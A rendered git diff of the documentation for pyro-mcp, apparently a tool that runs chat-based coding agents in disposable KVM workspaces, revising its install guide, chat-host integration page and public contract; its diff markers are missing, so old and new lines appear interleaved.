- Linux hosts without working KVM at `/dev/kvm`
|
||||
|
||||
If you do not already have `uv`, install it first:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve
|
||||
python -m pip install uv
|
||||
```
|
||||
|
||||
Prefetch the default official environment:
|
||||
Use these command forms consistently:
|
||||
|
||||
- published package without install: `uvx --from pyro-mcp pyro ...`
|
||||
- installed package: `pyro ...`
|
||||
- source checkout: `uv run pyro ...`
|
||||
|
||||
## Fastest Evaluation Path
|
||||
|
||||
Use either of these equivalent evaluator paths:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro env pull debian:12
|
||||
# Package without install
|
||||
uvx --from pyro-mcp pyro doctor
|
||||
uvx --from pyro-mcp pyro prepare debian:12
|
||||
uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||
```
|
||||
|
||||
Run one command in a curated environment:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version
|
||||
# Already installed
|
||||
pyro doctor
|
||||
pyro prepare debian:12
|
||||
pyro run debian:12 -- git --version
|
||||
```
|
||||
|
||||
Inspect the official environment catalog:
|
||||
If you are running from a repo checkout instead, replace `pyro` with
|
||||
`uv run pyro`.
|
||||
|
||||
After that one-shot proof works, the intended next step is a warmed daily loop
|
||||
plus a named chat mode through `pyro host connect` or `pyro host print-config`.
|
||||
|
||||
## 1. Check the host
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro doctor --environment debian:12
|
||||
```
|
||||
|
||||
Expected success signals:
|
||||
|
||||
```bash
|
||||
Platform: linux-x86_64
|
||||
Runtime: PASS
|
||||
KVM: exists=yes readable=yes writable=yes
|
||||
Environment cache: /home/you/.cache/pyro-mcp/environments
|
||||
Catalog version: 4.5.0
|
||||
Capabilities: vm_boot=yes guest_exec=yes guest_network=yes
|
||||
Networking: tun=yes ip_forward=yes
|
||||
Daily loop: COLD (debian:12)
|
||||
Run: pyro prepare debian:12
|
||||
```
|
||||
|
||||
If `Runtime: FAIL`, stop here and use [troubleshooting.md](troubleshooting.md).
|
||||
|
||||
## 2. Inspect the catalog
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro env list
|
||||
```
|
||||
|
||||
Expected output:
|
||||
|
||||
```bash
|
||||
Catalog version: 4.4.0
|
||||
debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows.
|
||||
debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling.
|
||||
debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled.
|
||||
```
|
||||
|
||||
## 3. Pull the default environment
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro env pull debian:12
|
||||
```
|
||||
|
||||
The first pull downloads an OCI environment from public Docker Hub, requires
|
||||
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
|
||||
for the guest image. See [host-requirements.md](host-requirements.md) for the
|
||||
full host requirements.
|
||||
|
||||
Expected success signals:
|
||||
|
||||
```bash
|
||||
[pull] phase=install environment=debian:12
|
||||
[pull] phase=ready environment=debian:12
|
||||
Pulled: debian:12
|
||||
...
|
||||
```
|
||||
|
||||
## 4. Run one command in a guest
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||
```
|
||||
|
||||
Expected success signals:
|
||||
|
||||
```bash
|
||||
[run] phase=create environment=debian:12
|
||||
[run] phase=start vm_id=...
|
||||
[run] phase=execute vm_id=...
|
||||
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
|
||||
git version ...
|
||||
```
|
||||
|
||||
The guest command output and the `[run] ...` summary are written to different
|
||||
streams, so they may appear in either order. Use `--json` if you need a
|
||||
deterministic structured result.
|
||||
|
||||
## 5. Warm the daily loop
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro prepare debian:12
|
||||
```
|
||||
|
||||
That one command ensures the environment is installed, proves one guest-backed
|
||||
create/exec/reset/delete loop, and records a warm manifest so the next
|
||||
`pyro prepare debian:12` call can reuse it instead of repeating the full cycle.
|
||||
|
||||
## 6. Connect a chat host
|
||||
|
||||
Use the helper flow first:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||
uvx --from pyro-mcp pyro host connect codex --mode inspect
|
||||
uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||
uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
|
||||
uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
|
||||
```
|
||||
|
||||
If setup drifts later, inspect and repair it with:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro host doctor
|
||||
uvx --from pyro-mcp pyro host repair claude-code
|
||||
uvx --from pyro-mcp pyro host repair codex
|
||||
uvx --from pyro-mcp pyro host repair opencode
|
||||
```
|
||||
|
||||
Use a named mode when one workflow already matches the job:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
uvx --from pyro-mcp pyro mcp serve --mode inspect
|
||||
uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
uvx --from pyro-mcp pyro mcp serve --mode review-eval
|
||||
```
|
||||
|
||||
Use the generic no-mode path when the mode feels too narrow. Bare
|
||||
`pyro mcp serve` still starts `workspace-core`. From a repo root, it also
|
||||
auto-detects the current Git checkout so the first `workspace_create` can omit
|
||||
`seed_path`.
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve
|
||||
```
|
||||
|
||||
If the host does not preserve the server working directory, use:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
If you are starting outside a local checkout, use a clean clone source:
|
||||
|
||||
```bash
|
||||
uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
|
||||
```
|
||||
|
||||
Copy-paste host-specific starts:
|
||||
|
||||
- Claude Code setup: [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||
- Codex setup: [codex_mcp.md](../examples/codex_mcp.md)
|
||||
- OpenCode config: [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||
- Generic MCP fallback: [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||
|
||||
Claude Code cold-start or review-eval:
|
||||
|
||||
```bash
|
||||
pyro host connect claude-code --mode cold-start
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
```
|
||||
|
||||
Codex repro-fix or inspect:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
```
|
||||
|
||||
OpenCode uses the `mcp` / `type: "local"` config shape shown in
|
||||
[opencode_mcp_config.json](../examples/opencode_mcp_config.json).
|
||||
|
||||
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
|
||||
`pyro` in the same command or config shape.
|
||||
|
||||
Use the generic no-mode path when the named mode is too narrow. Move to
|
||||
`--profile workspace-full` only when the chat truly needs shells, services,
|
||||
snapshots, secrets, network policy, or disk tools.
|
||||
|
||||
## 7. Go from zero to hero
|
||||
|
||||
The intended user journey is:
|
||||
|
||||
1. validate the host with `pyro doctor --environment debian:12`
|
||||
2. warm the machine with `pyro prepare debian:12`
|
||||
3. prove guest execution with `pyro run debian:12 -- git --version`
|
||||
4. connect Claude Code, Codex, or OpenCode with one named mode such as
|
||||
`pyro host connect codex --mode repro-fix`, then use raw
|
||||
`pyro mcp serve --mode ...` or the generic no-mode path when needed
|
||||
5. use `workspace reset` as the normal retry step inside that warmed loop
|
||||
6. start with one use-case recipe from [use-cases/README.md](use-cases/README.md)
|
||||
7. trust but verify with `make smoke-use-cases`
|
||||
|
||||
If you want the shortest chat-first story, start with
|
||||
[use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md).
|
||||
|
||||
## 8. Manual terminal workspace flow
|
||||
|
||||
If you want to inspect the workspace model directly from the terminal, use the
|
||||
companion flow below. This is for understanding and debugging the chat-host
|
||||
product, not the primary story.
|
||||
|
||||
```bash
|
||||
uv tool install pyro-mcp
|
||||
WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
|
||||
pyro workspace list
|
||||
pyro workspace update "$WORKSPACE_ID" --label owner=codex
|
||||
pyro workspace sync push "$WORKSPACE_ID" ./changes
|
||||
pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
|
||||
pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
|
||||
pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
|
||||
pyro workspace summary "$WORKSPACE_ID"
|
||||
pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
|
||||
pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
|
||||
pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
|
||||
pyro workspace delete "$WORKSPACE_ID"
|
||||
```
|
||||
|
||||
When you need deeper debugging or richer recipes, add:
|
||||
|
||||
- `pyro workspace shell *` for interactive PTY state
|
||||
- `pyro workspace service *` for long-running processes and readiness probes
|
||||
- `pyro workspace create --network-policy egress+published-ports` plus
|
||||
`workspace service start --publish` for host-probed services
|
||||
- `pyro workspace create --secret` and `--secret-file` when the sandbox needs
|
||||
private tokens
|
||||
- `pyro workspace stop` plus `workspace disk *` for offline inspection
|
||||
|
||||
## 9. Trustworthy verification path
|
||||
|
||||
The five recipe docs in [use-cases/README.md](use-cases/README.md) are backed
|
||||
by a real Firecracker smoke pack:
|
||||
|
||||
```bash
|
||||
make smoke-use-cases
|
||||
```
|
||||
|
||||
Treat that smoke pack as the trustworthy guest-backed verification path for the
|
||||
advertised chat-host workflows.
|
||||
|
||||
## Installed CLI
|
||||
|
||||
If you already installed the package, the same path works with plain `pyro ...`:
|
||||
|
||||
```bash
|
||||
uv tool install pyro-mcp
|
||||
pyro --version
|
||||
pyro env list
|
||||
pyro env pull debian:12
|
||||
pyro env inspect debian:12
|
||||
pyro doctor
|
||||
pyro doctor --environment debian:12
|
||||
pyro prepare debian:12
|
||||
pyro run debian:12 -- git --version
|
||||
pyro mcp serve
|
||||
```
|
||||
|
||||
## Contributor Clone
|
||||
## Contributor clone
|
||||
|
||||
```bash
|
||||
git lfs install
|
||||
|
|
|
|||
|
|
@ -1,99 +1,257 @@
|
|||
# Integration Targets
|
||||
# Chat Host Integrations
|
||||
|
||||
These are the main ways to integrate `pyro-mcp` into an LLM application.
|
||||
This page documents the intended product path for `pyro-mcp`:
|
||||
|
||||
## Recommended Default
|
||||
- validate the host with the CLI
|
||||
- warm the daily loop with `pyro prepare debian:12`
|
||||
- run `pyro mcp serve`
|
||||
- connect a chat host
|
||||
- let the agent work inside disposable workspaces
|
||||
|
||||
Use `vm_run` first.
|
||||
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
|
||||
path is still being shaped.
|
||||
|
||||
That keeps the model-facing contract small:
|
||||
Use this page after you have already validated the host and guest execution
|
||||
through [install.md](install.md) or [first-run.md](first-run.md).
|
||||
|
||||
- one tool
|
||||
- one command
|
||||
- one ephemeral VM
|
||||
- automatic cleanup
|
||||
Recommended first commands before connecting a host:
|
||||
|
||||
Only move to lifecycle tools when the agent truly needs VM state across multiple calls.
|
||||
```bash
|
||||
pyro doctor --environment debian:12
|
||||
pyro prepare debian:12
|
||||
```
|
||||
|
||||
## OpenAI Responses API
|
||||
## Recommended Modes
|
||||
|
||||
Best when:
|
||||
Use a named mode when one workflow already matches the job:
|
||||
|
||||
- your agent already uses OpenAI models directly
|
||||
- you want a normal tool-calling loop instead of MCP transport
|
||||
- you want the smallest amount of integration code
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
pyro host connect codex --mode inspect
|
||||
pyro host connect claude-code --mode cold-start
|
||||
pyro host connect claude-code --mode review-eval
|
||||
```
|
||||
|
||||
Recommended surface:
|
||||
The mode-backed raw server forms are:
|
||||
|
||||
- `vm_run`
|
||||
```bash
|
||||
pyro mcp serve --mode repro-fix
|
||||
pyro mcp serve --mode inspect
|
||||
pyro mcp serve --mode cold-start
|
||||
pyro mcp serve --mode review-eval
|
||||
```
|
||||
|
||||
Canonical example:
|
||||
Use the generic no-mode path only when the named mode feels too narrow.
|
||||
|
||||
- [examples/openai_responses_vm_run.py](../examples/openai_responses_vm_run.py)
|
||||
## Generic Default
|
||||
|
||||
## MCP Clients
|
||||
Bare `pyro mcp serve` starts `workspace-core`. From a repo root, it also
|
||||
auto-detects the current Git checkout so the first `workspace_create` can omit
|
||||
`seed_path`. That is the product path.
|
||||
|
||||
Best when:
|
||||
```bash
|
||||
pyro mcp serve
|
||||
```
|
||||
|
||||
- your host application already supports MCP
|
||||
- you want `pyro` to run as an external stdio server
|
||||
- you want tool schemas to be discovered directly from the server
|
||||
If the host does not preserve cwd, fall back to:
|
||||
|
||||
Recommended entrypoint:
|
||||
```bash
|
||||
pyro mcp serve --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
- `pyro mcp serve`
|
||||
If you are outside a repo checkout entirely, start from a clean clone source:
|
||||
|
||||
Starter config:
|
||||
```bash
|
||||
pyro mcp serve --repo-url https://github.com/example/project.git
|
||||
```
|
||||
|
||||
- [examples/mcp_client_config.md](../examples/mcp_client_config.md)
|
||||
- [examples/claude_desktop_mcp_config.json](../examples/claude_desktop_mcp_config.json)
|
||||
- [examples/cursor_mcp_config.json](../examples/cursor_mcp_config.json)
|
||||
Use `--profile workspace-full` only when the chat truly needs shells, services,
|
||||
snapshots, secrets, network policy, or disk tools.
|
||||
|
||||
## Direct Python SDK
|
||||
## Helper First
|
||||
|
||||
Best when:
|
||||
Use the helper flow before the raw host CLI commands:
|
||||
|
||||
- your application owns orchestration itself
|
||||
- you do not need MCP transport
|
||||
- you want direct access to `Pyro`
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
pyro host connect codex --mode inspect
|
||||
pyro host connect claude-code --mode cold-start
|
||||
pyro host connect claude-code --mode review-eval
|
||||
pyro host print-config opencode --mode repro-fix
|
||||
pyro host doctor
|
||||
pyro host repair opencode
|
||||
```
|
||||
|
||||
Recommended default:
|
||||
These helpers wrap the same `pyro mcp serve` entrypoint, make named modes the
|
||||
first user-facing story, and still leave the generic no-mode path available
|
||||
when a mode is too narrow.
|
||||
|
||||
- `Pyro.run_in_vm(...)`
|
||||
## Claude Code
|
||||
|
||||
Examples:
|
||||
Preferred:
|
||||
|
||||
- [examples/python_run.py](../examples/python_run.py)
|
||||
- [examples/python_lifecycle.py](../examples/python_lifecycle.py)
|
||||
```bash
|
||||
pyro host connect claude-code --mode cold-start
|
||||
```
|
||||
|
||||
## Agent Framework Wrappers
|
||||
Repair:
|
||||
|
||||
Examples:
|
||||
```bash
|
||||
pyro host repair claude-code
|
||||
```
|
||||
|
||||
- LangChain tools
|
||||
- PydanticAI tools
|
||||
- custom in-house orchestration layers
|
||||
Package without install:
|
||||
|
||||
Best when:
|
||||
```bash
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||
claude mcp list
|
||||
```
|
||||
|
||||
- you already have an application framework that expects a Python callable tool
|
||||
- you want to wrap `vm_run` behind framework-specific abstractions
|
||||
If Claude Code launches the server from an unexpected cwd, use:
|
||||
|
||||
Recommended pattern:
|
||||
```bash
|
||||
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
- keep the framework wrapper thin
|
||||
- map framework tool input directly onto `vm_run`
|
||||
- avoid exposing lifecycle tools unless the framework truly needs them
|
||||
Already installed:
|
||||
|
||||
Concrete example:
|
||||
```bash
|
||||
claude mcp add pyro -- pyro mcp serve
|
||||
claude mcp list
|
||||
```
|
||||
|
||||
- [examples/langchain_vm_run.py](../examples/langchain_vm_run.py)
|
||||
Reference:
|
||||
|
||||
## Selection Rule
|
||||
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||
|
||||
Choose the narrowest integration that matches the host environment:
|
||||
## Codex
|
||||
|
||||
1. OpenAI Responses API if you want a direct provider tool loop.
|
||||
2. MCP if your host already speaks MCP.
|
||||
3. Python SDK if you own orchestration and do not need transport.
|
||||
4. Framework wrappers only as thin adapters over the same `vm_run` contract.
|
||||
Preferred:
|
||||
|
||||
```bash
|
||||
pyro host connect codex --mode repro-fix
|
||||
```
|
||||
|
||||
Repair:
|
||||
|
||||
```bash
|
||||
pyro host repair codex
|
||||
```
|
||||
|
||||
Package without install:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||
codex mcp list
|
||||
```
|
||||
|
||||
If Codex launches the server from an unexpected cwd, use:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo
|
||||
```
|
||||
|
||||
Already installed:
|
||||
|
||||
```bash
|
||||
codex mcp add pyro -- pyro mcp serve
|
||||
codex mcp list
|
||||
```
|
||||
|
||||
Reference:
|
||||
|
||||
- [codex_mcp.md](../examples/codex_mcp.md)
|
||||
|
||||
## OpenCode
|
||||
|
||||
Preferred:
|
||||
|
||||
```bash
|
||||
pyro host print-config opencode
|
||||
pyro host repair opencode
|
||||
```
|
||||
|
||||
Use the local MCP config shape from:
|
||||
|
||||
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||
|
||||
Minimal `opencode.json` snippet:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcp": {
|
||||
"pyro": {
|
||||
"type": "local",
|
||||
"enabled": true,
|
||||
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
|
||||
`pyro` in the same config shape.
|
||||
|
||||
If OpenCode launches the server from an unexpected cwd, add
|
||||
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command
|
||||
array.
|
||||
|
||||
## Generic MCP Fallback
|
||||
|
||||
Use this only when the host expects a plain `mcpServers` JSON config, when the
|
||||
named modes are too narrow, and when it does not already have a dedicated
|
||||
example in the repo:
|
||||
|
||||
- [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||
|
||||
Generic `mcpServers` shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"pyro": {
|
||||
"command": "uvx",
|
||||
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## When To Use `workspace-full`
|
||||
|
||||
Stay on bare `pyro mcp serve` unless the chat host truly needs:
|
||||
|
||||
- persistent PTY shell sessions
|
||||
- long-running services and readiness probes
|
||||
- secrets
|
||||
- guest networking and published ports
|
||||
- stopped-workspace disk inspection or raw ext4 export
|
||||
|
||||
When that is necessary:
|
||||
|
||||
```bash
|
||||
pyro mcp serve --profile workspace-full
|
||||
```
|
||||
|
||||
## Recipe-Backed Workflows
|
||||
|
||||
Once the host is connected, move to the five real workflows in
|
||||
[use-cases/README.md](use-cases/README.md):
|
||||
|
||||
- cold-start repo validation
|
||||
- repro plus fix loops
|
||||
- parallel isolated workspaces
|
||||
- unsafe or untrusted code inspection
|
||||
- review and evaluation workflows
|
||||
|
||||
Validate the whole story with:
|
||||
|
||||
```bash
|
||||
make smoke-use-cases
|
||||
```
|
||||
|
||||
For the machine-warmup plus reset/retry path specifically:
|
||||
|
||||
```bash
|
||||
make smoke-daily-loop
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,105 +1,192 @@
|
|||
# Public Contract
|
||||
|
||||
This document defines the supported public interface for `pyro-mcp` `1.x`.
|
||||
This document describes the chat way to use `pyro-mcp` in `4.x`.
|
||||
|
||||
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
|
||||
path is still being shaped.
|
||||
|
||||
This document is intentionally biased. It describes the path users are meant to
|
||||
follow today:
|
||||
|
||||
- prove the host with the terminal companion commands
|
||||
- serve disposable workspaces over MCP
|
||||
- connect Claude Code, Codex, or OpenCode
|
||||
- use the recipe-backed workflows
|
||||
|
||||
This page does not try to document every building block in the repo. It
|
||||
documents the chat-host path the project is actively shaping.
|
||||
|
||||
## Package Identity
|
||||
|
||||
- Distribution name: `pyro-mcp`
|
||||
- Public executable: `pyro`
|
||||
- Public Python import: `from pyro_mcp import Pyro`
|
||||
- Public package-level factory: `from pyro_mcp import create_server`
|
||||
- distribution name: `pyro-mcp`
|
||||
- public executable: `pyro`
|
||||
- primary product entrypoint: `pyro mcp serve`
|
||||
|
||||
## CLI Contract
|
||||
`pyro-mcp` is a disposable MCP workspace for chat-based coding agents on Linux
|
||||
`x86_64` KVM hosts.
|
||||
|
||||
Top-level commands:
|
||||
## Supported Product Path
|
||||
|
||||
The intended user journey is:
|
||||
|
||||
1. `pyro doctor`
|
||||
2. `pyro prepare debian:12`
|
||||
3. `pyro run debian:12 -- git --version`
|
||||
4. `pyro mcp serve`
|
||||
5. connect Claude Code, Codex, or OpenCode
|
||||
6. use `workspace reset` as the normal retry step
|
||||
7. run one of the documented recipe-backed workflows
|
||||
8. validate the whole story with `make smoke-use-cases`
|
||||
|
||||
## Evaluator CLI
|
||||
|
||||
These terminal commands are the documented companion path for the chat-host
|
||||
product:
|
||||
|
||||
- `pyro doctor`
|
||||
- `pyro prepare`
|
||||
- `pyro env list`
|
||||
- `pyro env pull`
|
||||
- `pyro env inspect`
|
||||
- `pyro env prune`
|
||||
- `pyro mcp serve`
|
||||
- `pyro run`
|
||||
- `pyro doctor`
|
||||
- `pyro demo`
|
||||
- `pyro demo ollama`
|
||||
|
||||
Stable `pyro run` interface:
|
||||
What to expect from that path:
|
||||
|
||||
- positional environment name
|
||||
- `--vcpu-count`
|
||||
- `--mem-mib`
|
||||
- `--timeout-seconds`
|
||||
- `--ttl-seconds`
|
||||
- `--network`
|
||||
- `pyro run <environment> -- <command>` defaults to `1 vCPU / 1024 MiB`
|
||||
- `pyro run` fails if guest boot or guest exec is unavailable unless
|
||||
`--allow-host-compat` is set
|
||||
- `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`,
|
||||
`pyro env prune`, `pyro doctor`, and `pyro prepare` are human-readable by
|
||||
default and return structured JSON with `--json`
|
||||
- the first official environment pull downloads from public Docker Hub into the
|
||||
local environment cache
|
||||
- `pyro prepare debian:12` proves the warmed daily loop with one throwaway
|
||||
workspace create, exec, reset, and delete cycle
|
||||
- `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle end to
|
||||
end
|
||||
|
||||
Behavioral guarantees:
|
||||
These commands exist to validate and debug the chat-host path. They are not the
|
||||
main product destination.
|
||||
|
||||
- `pyro run <environment> --vcpu-count <n> --mem-mib <mib> -- <command>` returns structured JSON.
|
||||
- `pyro env list`, `pyro env pull`, `pyro env inspect`, and `pyro env prune` return structured JSON.
|
||||
- `pyro doctor` returns structured JSON diagnostics.
|
||||
- `pyro demo ollama` prints log lines plus a final summary line.
|
||||
## MCP Entry Point
|
||||
|
||||
## Python SDK Contract
|
||||
The product entrypoint is:
|
||||
|
||||
Primary facade:
|
||||
```bash
|
||||
pyro mcp serve
|
||||
```
|
||||
|
||||
- `Pyro`
|
||||
What to expect:
|
||||
|
||||
Supported public entrypoints:
|
||||
- named modes are now the first chat-host story:
|
||||
- `pyro mcp serve --mode repro-fix`
|
||||
- `pyro mcp serve --mode inspect`
|
||||
- `pyro mcp serve --mode cold-start`
|
||||
- `pyro mcp serve --mode review-eval`
|
||||
- bare `pyro mcp serve` remains the generic no-mode path and starts
|
||||
`workspace-core`
|
||||
- from a repo root, bare `pyro mcp serve` also auto-detects the current Git
|
||||
checkout so `workspace_create` can omit `seed_path`
|
||||
- `pyro mcp serve --profile workspace-full` explicitly opts into the larger
|
||||
tool surface
|
||||
- `pyro mcp serve --profile vm-run` exposes the smallest one-shot-only surface
|
||||
- `pyro mcp serve --project-path /abs/path/to/repo` is the fallback when the
|
||||
host does not preserve cwd
|
||||
- `pyro mcp serve --repo-url ... [--repo-ref ...]` starts from a clean clone
|
||||
source instead of a local checkout
|
||||
|
||||
- `create_server()`
|
||||
- `Pyro.create_server()`
|
||||
- `Pyro.list_environments()`
|
||||
- `Pyro.pull_environment(environment)`
|
||||
- `Pyro.inspect_environment(environment)`
|
||||
- `Pyro.prune_environments()`
|
||||
- `Pyro.create_vm(...)`
|
||||
- `Pyro.start_vm(vm_id)`
|
||||
- `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)`
|
||||
- `Pyro.stop_vm(vm_id)`
|
||||
- `Pyro.delete_vm(vm_id)`
|
||||
- `Pyro.status_vm(vm_id)`
|
||||
- `Pyro.network_info_vm(vm_id)`
|
||||
- `Pyro.reap_expired()`
|
||||
- `Pyro.run_in_vm(...)`
|
||||
Host-specific setup docs:
|
||||
|
||||
Stable public method names:
|
||||
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||
- [codex_mcp.md](../examples/codex_mcp.md)
|
||||
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||
- [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||
|
||||
- `create_server()`
|
||||
- `list_environments()`
|
||||
- `pull_environment(environment)`
|
||||
- `inspect_environment(environment)`
|
||||
- `prune_environments()`
|
||||
- `create_vm(...)`
|
||||
- `start_vm(vm_id)`
|
||||
- `exec_vm(vm_id, *, command, timeout_seconds=30)`
|
||||
- `stop_vm(vm_id)`
|
||||
- `delete_vm(vm_id)`
|
||||
- `status_vm(vm_id)`
|
||||
- `network_info_vm(vm_id)`
|
||||
- `reap_expired()`
|
||||
- `run_in_vm(...)`
|
||||
The chat-host bootstrap helper surface is:
|
||||
|
||||
## MCP Contract
|
||||
- `pyro host connect claude-code`
|
||||
- `pyro host connect codex`
|
||||
- `pyro host print-config opencode`
|
||||
- `pyro host doctor`
|
||||
- `pyro host repair HOST`
|
||||
|
||||
Primary tool:
|
||||
These helpers wrap the same `pyro mcp serve` entrypoint and are the preferred
|
||||
setup and repair path for supported hosts.
|
||||
|
||||
## Named Modes
|
||||
|
||||
The supported named modes are:
|
||||
|
||||
| Mode | Intended workflow | Key tools |
|
||||
| --- | --- | --- |
|
||||
| `repro-fix` | reproduce, patch, rerun, diff, export, reset | file ops, patch, diff, export, reset, summary |
|
||||
| `inspect` | inspect suspicious or unfamiliar code with the smallest persistent surface | file list/read, exec, export, summary |
|
||||
| `cold-start` | validate a fresh repo and keep services alive long enough to prove readiness | exec, export, reset, summary, service tools |
|
||||
| `review-eval` | interactive review, checkpointing, shell-driven evaluation, and export | shell tools, snapshot tools, diff/export, summary |
|
||||
|
||||
Use the generic no-mode path when one of those named modes feels too narrow for
|
||||
the job.
|
||||
|
||||
## Generic Workspace Contract
|
||||
|
||||
`workspace-core` is the normal chat path. It exposes:
|
||||
|
||||
- `vm_run`
|
||||
- `workspace_create`
|
||||
- `workspace_list`
|
||||
- `workspace_update`
|
||||
- `workspace_status`
|
||||
- `workspace_sync_push`
|
||||
- `workspace_exec`
|
||||
- `workspace_logs`
|
||||
- `workspace_summary`
|
||||
- `workspace_file_list`
|
||||
- `workspace_file_read`
|
||||
- `workspace_file_write`
|
||||
- `workspace_patch_apply`
|
||||
- `workspace_diff`
|
||||
- `workspace_export`
|
||||
- `workspace_reset`
|
||||
- `workspace_delete`
|
||||
|
||||
Advanced lifecycle tools:
|
||||
That is enough for the normal persistent editing loop:
|
||||
|
||||
- `vm_list_environments`
|
||||
- `vm_create`
|
||||
- `vm_start`
|
||||
- `vm_exec`
|
||||
- `vm_stop`
|
||||
- `vm_delete`
|
||||
- `vm_status`
|
||||
- `vm_network_info`
|
||||
- `vm_reap_expired`
|
||||
- create one workspace, often without `seed_path` when the server already has a
|
||||
project source
|
||||
- sync or seed repo content
|
||||
- inspect and edit files without shell quoting
|
||||
- run commands repeatedly in one sandbox
|
||||
- review the current session in one concise summary
|
||||
- diff and export results
|
||||
- reset and retry
|
||||
- delete the workspace when the task is done
|
||||
|
||||
## Versioning Rule
|
||||
Move to `workspace-full` only when the chat truly needs:
|
||||
|
||||
- `pyro-mcp` uses SemVer.
|
||||
- Environment names are stable identifiers in the shipped catalog.
|
||||
- Changing a public command name, public flag, public method name, public MCP tool name, or required request field is a breaking change.
|
||||
- persistent PTY shell sessions
|
||||
- long-running services and readiness probes
|
||||
- secrets
|
||||
- guest networking and published ports
|
||||
- stopped-workspace disk inspection
|
||||
|
||||
## Recipe-Backed Workflows
|
||||
|
||||
The documented product workflows are:
|
||||
|
||||
| Workflow | Recommended mode | Doc |
|
||||
| --- | --- | --- |
|
||||
| Cold-start repo validation | `cold-start` | [use-cases/cold-start-repo-validation.md](use-cases/cold-start-repo-validation.md) |
|
||||
| Repro plus fix loop | `repro-fix` | [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) |
|
||||
| Parallel isolated workspaces | `repro-fix` | [use-cases/parallel-workspaces.md](use-cases/parallel-workspaces.md) |
|
||||
| Unsafe or untrusted code inspection | `inspect` | [use-cases/untrusted-inspection.md](use-cases/untrusted-inspection.md) |
|
||||
| Review and evaluation workflows | `review-eval` | [use-cases/review-eval-workflows.md](use-cases/review-eval-workflows.md) |
|
||||
|
||||
Treat this smoke pack as the trustworthy guest-backed verification path for the
|
||||
advertised product:
|
||||
|
||||
```bash
|
||||
make smoke-use-cases
|
||||
```
|
||||
|
||||
The chat-host MCP path above is the thing the docs are intentionally shaping
|
||||
around.
|
